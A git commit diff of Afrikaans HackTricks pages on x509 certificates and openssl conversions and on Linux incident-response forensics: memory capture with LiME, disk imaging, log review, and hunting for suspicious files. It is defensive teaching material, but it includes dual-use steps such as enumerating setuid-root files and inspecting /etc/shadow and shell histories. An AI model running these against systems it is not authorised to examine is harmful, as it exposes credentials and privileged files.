Translated ['crypto-and-stego/certificates.md', 'generic-methodologies-a

This commit is contained in:
Translator 2024-05-06 11:14:17 +00:00
parent 9a9ff3fb5c
commit 1f708da339
33 changed files with 1394 additions and 1686 deletions

View file

@ -8,7 +8,7 @@ Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
@ -17,10 +17,10 @@ Ander maniere om HackTricks te ondersteun:
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomaties** te laat hardloop met die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandag Toegang:
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %}
## Wat is 'n Sertifikaat
@ -35,13 +35,13 @@ Sertifikate word meestal uitgereik deur [sertifikaatowerhede](https://en.wikiped
In x509 sertifikate speel verskeie **velde** kritieke rolle om die sertifikaat se geldigheid en sekuriteit te verseker. Hier is 'n uiteensetting van hierdie velde:
* Die **Weergawe Nommer** dui die weergawe van die x509-formaat aan.
* Die **Serienommer** identifiseer die sertifikaat uniek binne 'n Sertifikaatowerheid se (CA) stelsel, hoofsaaklik vir herroepingopsporing.
* Die **Serienommer** identifiseer die sertifikaat uniek binne 'n Sertifikaatowerheid se (CA) stelsel, hoofsaaklik vir herroepingstracking.
* Die **Onderwerp** veld verteenwoordig die sertifikaat se eienaar, wat 'n masjien, 'n individu, of 'n organisasie kan wees. Dit sluit gedetailleerde identifikasie in soos:
* **Gemeenskaplike Naam (CN)**: Domeine wat deur die sertifikaat gedek word.
* **Land (C)**, **Lokaliteit (L)**, **Staat of Provinsie (ST, S, of P)**, **Organisasie (O)**, en **Organisasie-eenheid (OU)** verskaf geografiese en organisatoriese besonderhede.
* **Onderskeidingsnaam (DN)** omvat die volledige onderwerpidentifikasie.
* **Uitreiker** besonderhede van wie die sertifikaat geverifieer en onderteken het, insluitend soortgelyke subvelde as die Onderwerp vir die CA.
* **Geldigheidsperiode** word gemerk deur **Nie Voor Nie** en **Nie Na Nie** tydmerke, wat verseker dat die sertifikaat nie voor of na 'n sekere datum gebruik word nie.
* Die **Uitreiker** besonderhede van wie die sertifikaat geverifieer en onderteken het, insluitend soortgelyke subvelde as die Onderwerp vir die CA.
* Die **Geldigheidsperiode** word gemerk deur **Nie Voor Nie** en **Nie Na Nie** tydstempels, wat verseker dat die sertifikaat nie voor of na 'n sekere datum gebruik word nie.
* Die **Openbare Sleutel** afdeling, krities vir die sertifikaat se sekuriteit, spesifiseer die algoritme, grootte, en ander tegniese besonderhede van die openbare sleutel.
* **x509v3-uitbreidings** verbeter die sertifikaat se funksionaliteit, spesifiseer **Sleutelgebruik**, **Uitgebreide Sleutelgebruik**, **Onderwerp Alternatiewe Naam**, en ander eienskappe om die sertifikaat se toepassing fynaf te stem.
@ -51,8 +51,8 @@ In x509 sertifikate speel verskeie **velde** kritieke rolle om die sertifikaat s
* **Uitgebreide Sleutelgebruik** versmalle verder die sertifikaat se gebruike, bv. vir TLS-bedienerverifikasie.
* **Onderwerp Alternatiewe Naam** en **Basiese Beperking** definieer addisionele gasheernaam wat deur die sertifikaat gedek word en of dit 'n CA- of eindentiteit-sertifikaat is, onderskeidelik.
* Identifiseerders soos **Onderwerp Sleutelidentifiseerder** en **Uitreiker Sleutelidentifiseerder** verseker uniekheid en naspeurbaarheid van sleutels.
* **Uitreikerinligtings Toegang** en **CRL Verspreidingspunte** bied paaie om die uitreikende CA te verifieer en sertifikaat-herroepingsstatus te kontroleer.
* **CT Voor-sertifikaat SCT's** bied deursigtigheidslogs, krities vir openbare vertroue in die sertifikaat.
* **Uitreikerinligtings Toegang** en **CRL Verspreidingspunte** bied paaie om die uitreikende CA te verifieer en sertifikaatherroepingsstatus te kontroleer.
* **CT Voor-sertifikaat SCT's** bied deursigtigheidslêers, krities vir openbare vertroue in die sertifikaat.
```python
# Example of accessing and using x509 certificate fields programmatically:
from cryptography import x509
@ -76,7 +76,7 @@ print(f"Public Key: {public_key}")
```
### **Verskil tussen OCSP en CRL-verspreidingspunte**
**OCSP** (**RFC 2560**) behels 'n kliënt en 'n reageerder wat saamwerk om te kontroleer of 'n digitale openbare sleutel-sertifikaat herroep is, sonder om die volle **CRL** af te laai. Hierdie metode is doeltreffender as die tradisionele **CRL**, wat 'n lys van herroepingsertifikaat serienommers verskaf, maar vereis die aflaai van 'n moontlik groot lêer. CRL's kan tot 512 inskrywings insluit. Meer besonderhede is beskikbaar [hier](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm).
**OCSP** (**RFC 2560**) behels 'n kliënt en 'n reageerder wat saamwerk om te kontroleer of 'n digitale openbare-sleutel sertifikaat herroep is, sonder om die volle **CRL** af te laai. Hierdie metode is doeltreffender as die tradisionele **CRL**, wat 'n lys van herroepingsertifikaat serienommers verskaf, maar vereis die aflaai van 'n moontlik groot lêer. CRL's kan tot 512 inskrywings insluit. Meer besonderhede is beskikbaar [hier](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm).
### **Wat is Sertifikaatdeursigtigheid**
@ -84,11 +84,11 @@ Sertifikaatdeursigtigheid help om sertifikaatverwante bedreigings te bekamp deur
* Voorkoming dat CA's SSL-sertifikate vir 'n domein uitreik sonder die domeineienaar se wete.
* Daarstel van 'n oop ouditeringstelsel vir die opsporing van per abuis of booswillig uitgereikte sertifikate.
* Beskerming van gebruikers teen bedrieglike sertifikate.
* Beskerming van gebruikers teen valse sertifikate.
#### **Sertifikaatlogs**
Sertifikaatlogs is openlik ouditeerbare, net byvoegbare rekords van sertifikate, onderhou deur netwerkdienste. Hierdie logs verskaf kriptografiese bewyse vir ouditeringsdoeleindes. Uitreikingsowerhede en die publiek kan sertifikate na hierdie logs indien of dit vir verifikasie ondervra. Alhoewel die presiese aantal logbedieners nie vas is nie, word verwag dat dit wêreldwyd minder as duisend sal wees. Hierdie bedieners kan onafhanklik bestuur word deur CA's, ISP's, of enige belanghebbende entiteit.
Sertifikaatlogs is openlik ouditeerbare, net-byvoegbare rekords van sertifikate, onderhou deur netwerkdienste. Hierdie logs verskaf kriptografiese bewyse vir ouditeringsdoeleindes. Uitreikingsowerhede en die publiek kan sertifikate na hierdie logs indien of dit vir verifikasie ondervra. Alhoewel die presiese aantal logbedieners nie vas is nie, word verwag dat dit wêreldwyd minder as duisend sal wees. Hierdie bedieners kan onafhanklik bestuur word deur CA's, ISP's, of enige belanghebbende entiteit.
#### **Ondersoek**
@ -150,7 +150,7 @@ openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
```
**PFX-omskakelings** is noodsaaklik vir die bestuur van sertifikate op Windows:
- **PFX na PEM**
* **PFX na PEM**
```bash
openssl pkcs12 -in certificatename.pfx -out certificatename.pem
```
@ -177,21 +177,21 @@ openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certif
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en **outomatiseer werkstrome** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Toegang Vandag:
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) om maklik en **outomatiese werksvloei** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %}
<details>
<summary><strong>Leer AWS hak van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>

View file

@ -3,18 +3,18 @@
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en **outomatiese werksvloei** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Vandag Toegang:
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) om maklik en **outomatiese werksvloei** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Toegang Vandag:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking van niks tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
@ -51,11 +51,11 @@ find /directory -type f -mtime -1 -print #Find modified files during the last mi
```
#### Verdagte inligting
Terwyl jy die basiese inligting verkry, moet jy vir vreemde dinge soos die volgende nagaan:
Terwyl jy die basiese inligting verkry, moet jy vir vreemde dinge soos die volgende ondersoek:
- **Rootprosesse** hardloop gewoonlik met lae PIDS, so as jy 'n rootproses met 'n groot PID vind, kan jy dit verdenk
- Kyk na **geregistreerde aanmeldings** van gebruikers sonder 'n skaal binne `/etc/passwd`
- Kyk vir **wagwoordhasings** binne `/etc/shadow` vir gebruikers sonder 'n skaal
- **Rootprosesse** hardloop gewoonlik met lae PIDS, so as jy 'n rootproses met 'n groot PID vind, kan jy vermoed
- Kontroleer **geregistreerde aanmeldings** van gebruikers sonder 'n skaal binne `/etc/passwd`
- Kontroleer vir **wagwoordhasies** binne `/etc/shadow` vir gebruikers sonder 'n skaal
### Geheue-afvoer
@ -67,7 +67,7 @@ Onthou dat jy **LiME of enige ander ding nie kan installeer** op die slagoffer s
{% endhint %}
Dus, as jy 'n identiese weergawe van Ubuntu het, kan jy `apt-get install lime-forensics-dkms` gebruik\
In ander gevalle moet jy [**LiME**](https://github.com/504ensicsLabs/LiME) van github aflaai en dit kompileer met die regte kernelkoppe. Om die **presiese kernelkoppe** van die slagoffer se masjien te verkry, kan jy net die gids `/lib/modules/<kernel weergawe>` na jou masjien kopieer, en dan LiME daarmee **kompileer**:
In ander gevalle moet jy [**LiME**](https://github.com/504ensicsLabs/LiME) van github aflaai en dit kompileer met die korrekte kernelkoppe. Om die **presiese kernelkoppe** van die slagoffer se masjien te verkry, kan jy net die gids `/lib/modules/<kernel weergawe>` na jou masjien kopieer, en dan LiME daarmee **kompileer**:
```bash
make -C /lib/modules/<kernel version>/build M=$PWD
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
@ -85,11 +85,11 @@ LiME kan ook gebruik word om die storting via die netwerk te **stuur** in plaas
#### Afskakel
Eerstens, sal jy die stelsel moet **afskakel**. Dit is nie altyd 'n opsie nie aangesien die stelsel soms 'n produksieserver sal wees wat die maatskappy nie kan bekostig om af te skakel nie.\
Daar is **2 maniere** om die stelsel af te skakel, 'n **normale afskakeling** en 'n **"trek die prop" afskakeling**. Die eerste een sal die **prosesse toelaat om soos gewoonlik te beëindig** en die **lêersisteem** om **gesinkroniseer** te word, maar dit sal ook die moontlike **malware** toelaat om **bewyse te vernietig**. Die "trek die prop" benadering mag 'n **bietjie inligtingsverlies** meebring (nie baie van die inligting gaan verlore gaan aangesien ons reeds 'n beeld van die geheue geneem het nie) en die **malware sal nie enige geleentheid hê** om iets daaraan te doen nie. Daarom, as jy **vermoed** dat daar 'n **malware** mag wees, voer net die **`sync`** **bevel** op die stelsel uit en trek die prop uit.
Daar is **2 maniere** om die stelsel af te skakel, 'n **normale afskakeling** en 'n **"trek die prop" afskakeling**. Die eerste een sal die **prosesse toelaat om soos gewoonlik te beëindig** en die **lêersisteem** om **gesinkroniseer** te word, maar dit sal ook die moontlike **malware** toelaat om **bewyse te vernietig**. Die "trek die prop" benadering mag 'n bietjie **inligtingverlies** meebring (nie baie van die inligting gaan verlore gaan aangesien ons reeds 'n beeld van die geheue geneem het nie) en die **malware sal nie enige geleentheid hê** om iets daaraan te doen nie. Daarom, as jy **vermoed** dat daar 'n **malware** mag wees, voer net die **`sync`** **bevel** op die stelsel uit en trek die prop uit.
#### Neem 'n beeld van die skyf
#### 'n Beeld van die skyf neem
Dit is belangrik om te let dat **voordat jy jou rekenaar aan iets wat met die saak verband hou, koppel**, moet jy seker maak dat dit as **alleen lees** gemonteer gaan word om te verhoed dat enige inligting gewysig word.
Dit is belangrik om te let dat **voordat jy jou rekenaar aan iets wat met die saak verband hou, koppel**, moet jy seker maak dat dit as slegs lees **gekoppel** gaan word om te verhoed dat enige inligting gewysig word.
```bash
#Create a raw copy of the disk
dd if=<subject device> of=<image file> bs=512
@ -100,7 +100,7 @@ dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/med
```
### Skijfafbeelding voor-ontleding
Beeld 'n skijfafbeelding met geen verdere data nie.
Beeldvorming van 'n skyfafbeelding met geen verdere data nie.
```bash
#Find out if it's a disk image using "file" command
file disk.img
@ -156,10 +156,10 @@ ThisisTheMasterSecret
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en **outomatiseer werkstrome** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Toegang Vandag:
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) om maklik en **outomatiseer werkstrome** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
## Soek na bekende Malware
@ -180,12 +180,12 @@ Lees die volgende bladsy om meer te leer oor gereedskap wat nuttig kan wees om m
## Soek geïnstalleerde programme
Om doeltreffend te soek na geïnstalleerde programme op beide Debian- en RedHat-stelsels, oorweeg om stelsellogboeke en databasisse saam met handmatige kontroles in algemene gids te gebruik.
Om doeltreffend te soek na geïnstalleerde programme op beide Debian- en RedHat-stelsels, oorweeg om stelsellogs en databasisse te benut saam met handmatige kontroles in algemene gidsies.
* Vir Debian, ondersoek _**`/var/lib/dpkg/status`**_ en _**`/var/log/dpkg.log`**_ om besonderhede oor pakketaanvullings te kry, gebruik `grep` om te filter vir spesifieke inligting.
* RedHat-gebruikers kan die RPM-databasis ondersoek met `rpm -qa --root=/mntpath/var/lib/rpm` om geïnstalleerde pakkette te lys.
Om sagteware wat handmatig geïnstalleer is of buite hierdie pakketbestuurders geïnstalleer is, te ontdek, ondersoek gids soos _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, en _**`/sbin`**_. Kombineer gidslêers met stelselspesifieke opdragte om uitvoerbare lêers te identifiseer wat nie met bekende pakkette geassosieer word nie, wat jou soektog na alle geïnstalleerde programme verbeter.
Om sagteware wat handmatig geïnstalleer is of buite hierdie pakketsbestuurders geïnstalleer is, te ontdek, verken gidsies soos _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, en _**`/sbin`**_. Kombineer gidslysings met stelselspesifieke opdragte om uitvoerbare lêers te identifiseer wat nie verband hou met bekende pakkette nie, wat jou soektog na alle geïnstalleerde programme verbeter.
```bash
# Debian package and log details
cat /var/lib/dpkg/status | grep -E "Package:|Status:"
@ -204,12 +204,12 @@ find / -type f -executable | grep <something>
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) om maklik werkstrome te bou en te outomatiseer wat aangedryf word deur die wêreld se mees gevorderde gemeenskapsinstrumente.\
Kry Vandag Toegang:
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) om maklik en **outomatiseer werkafvloei** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
## Herstel Verwyderde Uitgevoerde Binêre Lêers
## Herstel Verwyderde Lopende Binêre Lêers
Stel jou voor 'n proses wat uitgevoer is vanaf /tmp/exec en toe verwyder is. Dit is moontlik om dit te onttrek
```bash
@ -271,7 +271,7 @@ Linux-stelsels hou gebruikersaktiwiteite en stelselgebeure dop deur verskeie log
- **/var/log/auth.log** (Debian) of **/var/log/secure** (RedHat): Neem outentiseringspogings, suksesvolle en mislukte aanmeldings op.
- Gebruik `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` om relevante outentiseringsgebeure te filter.
- **/var/log/boot.log**: Bevat stelselbeginboodskappe.
- **/var/log/maillog** of **/var/log/mail.log**: Log e-posdiensaktiwiteite, nuttig vir die opsporing van e-posverwante dienste.
- **/var/log/maillog** of **/var/log/mail.log**: Log e-posbedieneraktiwiteite, nuttig vir die opsporing van e-posverwante dienste.
- **/var/log/kern.log**: Berg kernelboodskappe op, insluitend foute en waarskuwings.
- **/var/log/dmesg**: Hou toestelbestuurderboodskappe vas.
- **/var/log/faillog**: Neem mislukte aanmeldingspogings op, wat help met veiligheidskrisisondersoeke.
@ -301,8 +301,8 @@ Kontroleer lêers wat ekstra regte kan verleen:
- Ondersoek `/etc/sudoers` vir onverwagte gebruikersregte wat moontlik toegeken is.
- Ondersoek `/etc/sudoers.d/` vir onverwagte gebruikersregte wat moontlik toegeken is.
- Ondersoek `/etc/groups` om enige ongewone groepslidmaatskappe of -toestemmings te identifiseer.
- Ondersoek `/etc/passwd` om enige ongewone groepslidmaatskappe of -toestemmings te identifiseer.
- Ondersoek `/etc/groups` om enige ongewone groeplidmaatskappe of -regte te identifiseer.
- Ondersoek `/etc/passwd` om enige ongewone groeplidmaatskappe of -regte te identifiseer.
Sommige programme genereer ook hul eie logboeke:
@ -310,7 +310,7 @@ Sommige programme genereer ook hul eie logboeke:
- **Gnome Desktop**: Kyk na _\~/.recently-used.xbel_ vir onlangs benaderde lêers via Gnome-toepassings.
- **Firefox/Chrome**: Kontroleer blaaiergeskiedenis en aflaaie in _\~/.mozilla/firefox_ of _\~/.config/google-chrome_ vir verdagte aktiwiteite.
- **VIM**: Ondersoek _\~/.viminfo_ vir gebruiksdetails, soos benaderde lêerpaadjies en soekgeskiedenis.
- **Open Office**: Kontroleer vir onlangse dokumenttoegang wat gekompromitteerde lêers kan aandui.
- **Open Office**: Kontroleer vir onlangse dokumenttoegang wat dui op gekompromitteerde lêers.
- **FTP/SFTP**: Ondersoek logboeke in _\~/.ftp\_history_ of _\~/.sftp\_history_ vir lêeroordragte wat moontlik ongemagtig is.
- **MySQL**: Ondersoek _\~/.mysql\_history_ vir uitgevoerde MySQL-navrae, wat moontlik ongemagtigde databasisaktiwiteite kan onthul.
- **Less**: Analiseer _\~/.lesshst_ vir gebruiksgeskiedenis, insluitend besigtigde lêers en uitgevoerde opdragte.
@ -340,10 +340,10 @@ Meer voorbeelde en inligting binne die github: [https://github.com/snovvcrash/us
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** aangedryf deur die wêreld se **mees gevorderde** gemeenskaplike gereedskap.\
Kry Toegang Vandag:
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskaplike gereedskap.\
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
## Oorsig van Gebruikersrekeninge en Aanmeldaktiwiteite
@ -355,18 +355,18 @@ Laastens, soek na rekeninge met **geen wagwoorde** of **maklik gerade** wagwoord
### Analise van Lêersisteemstrukture in Malware-ondersoek
Wanneer malware-voorvalle ondersoek word, is die struktuur van die lêersisteem 'n belangrike bron van inligting, wat beide die volgorde van gebeure en die inhoud van die malware onthul. Tog ontwikkel malware-skrywers tegnieke om hierdie analise te bemoeilik, soos die wysiging van lêer-timestamps of die vermyding van die lêersisteem vir data-opberging.
Wanneer malware-voorvalle ondersoek word, is die struktuur van die lêersisteem 'n belangrike bron van inligting, wat beide die volgorde van gebeure en die inhoud van die malware onthul. Tog ontwikkel malware-skrywers tegnieke om hierdie analise te bemoeilik, soos die wysiging van lêer tydstempels of die vermyding van die lêersisteem vir data berging.
Om hierdie teen-forensiese metodes te teenwerk, is dit noodsaaklik om:
* **Voer 'n deeglike tydlyn-analise uit** met behulp van gereedskap soos **Autopsy** om gebeurtenistydraamwerke te visualiseer of **Sleuth Kit's** `mactime` vir gedetailleerde tydlyn-data.
* **Voer 'n deeglike tydlyn-analise uit** met behulp van gereedskap soos **Autopsy** om gebeurtenis tydlyne te visualiseer of **Sleuth Kit's** `mactime` vir gedetailleerde tydlyn data.
* **Ondersoek onverwagte skripte** in die stelsel se $PATH, wat dalk skul of PHP-skripte insluit wat deur aanvallers gebruik word.
* **Ondersoek `/dev` vir atipiese lêers**, aangesien dit tradisioneel spesiale lêers bevat, maar moontlik malware-verwante lêers kan huisves.
* **Ondersoek `/dev` vir atipiese lêers**, aangesien dit tradisioneel spesiale lêers bevat, maar moontlik malware-verwante lêers kan bevat.
* **Soek na verskuilde lêers of gidsname** met name soos ".. " (dot dot spatie) of "..^G" (dot dot control-G), wat skadelike inhoud kan verberg.
* **Identifiseer setuid-root-lêers** met die opdrag: `find / -user root -perm -04000 -print` Dit vind lêers met verhoogde regte wat deur aanvallers misbruik kan word.
* **Ondersoek verwyderingstimestamps** in inode-tabelle om massiewe lêerverwyderings op te spoor, moontlik duiend op die teenwoordigheid van rootkits of trojane.
* **Inspekteer opeenvolgende inodes** vir nabygeleë skadelike lêers nadat een geïdentifiseer is, aangesien hulle saam geplaas kon wees.
* **Kontroleer algemene binêre gids** (_/bin_, _/sbin_) vir onlangs gewysigde lêers, aangesien hierdie deur malware verander kan word.
* **Identifiseer setuid-root lêers** deur die opdrag te gebruik: `find / -user root -perm -04000 -print` Dit vind lêers met verhoogde regte wat deur aanvallers misbruik kan word.
* **Ondersoek verwyderingstydstempels** in inode-tabelle om massiewe lêerverwyderings op te spoor, moontlik duiend op die teenwoordigheid van rootkits of trojane.
* **Inspekteer aaneenlopende inodes** vir nabygeleë skadelike lêers nadat een geïdentifiseer is, aangesien hulle saam geplaas kon wees.
* **Kontroleer algemene binêre gidsname** (_/bin_, _/sbin_) vir onlangs gewysigde lêers, aangesien hierdie deur malware verander kan word.
````bash
# List recent files in a directory:
ls -laR --sort=time /bin```
@ -375,7 +375,7 @@ ls -laR --sort=time /bin```
ls -lai /bin | sort -n```
````
{% hint style="info" %}
Let daarop dat 'n **aanvaller** die **tyd** kan **verander** om **lêers te laat voorkom** asof hulle **wettig** is, maar hy **kan nie** die **inode** verander nie. As jy vind dat 'n **lêer** aandui dat dit geskep en verander is op dieselfde **tyd** as die res van die lêers in dieselfde vouer, maar die **inode** is **onverwags groter**, dan is die **tydmerke van daardie lêer verander**.
Let daarop dat 'n **aanvaller** die **tyd** kan **verander** om **lêers te laat voorkom** asof hulle **wettig** is, maar hy kan nie die **inode** verander nie. As jy vind dat 'n **lêer** aandui dat dit geskep en verander is op dieselfde **tyd** as die res van die lêers in dieselfde vouer, maar die **inode** is **onverwags groter**, dan is die **tydmerke van daardie lêer verander**.
{% endhint %}
## Vergelyk lêers van verskillende lêersisteemweergawes
@ -392,7 +392,7 @@ git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/
```bash
git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time"
```
* **Om uitgevee lêers op te spoor**:
* **Om uitgeveërde lêers op te spoor**:
```bash
git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
```
@ -416,11 +416,11 @@ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
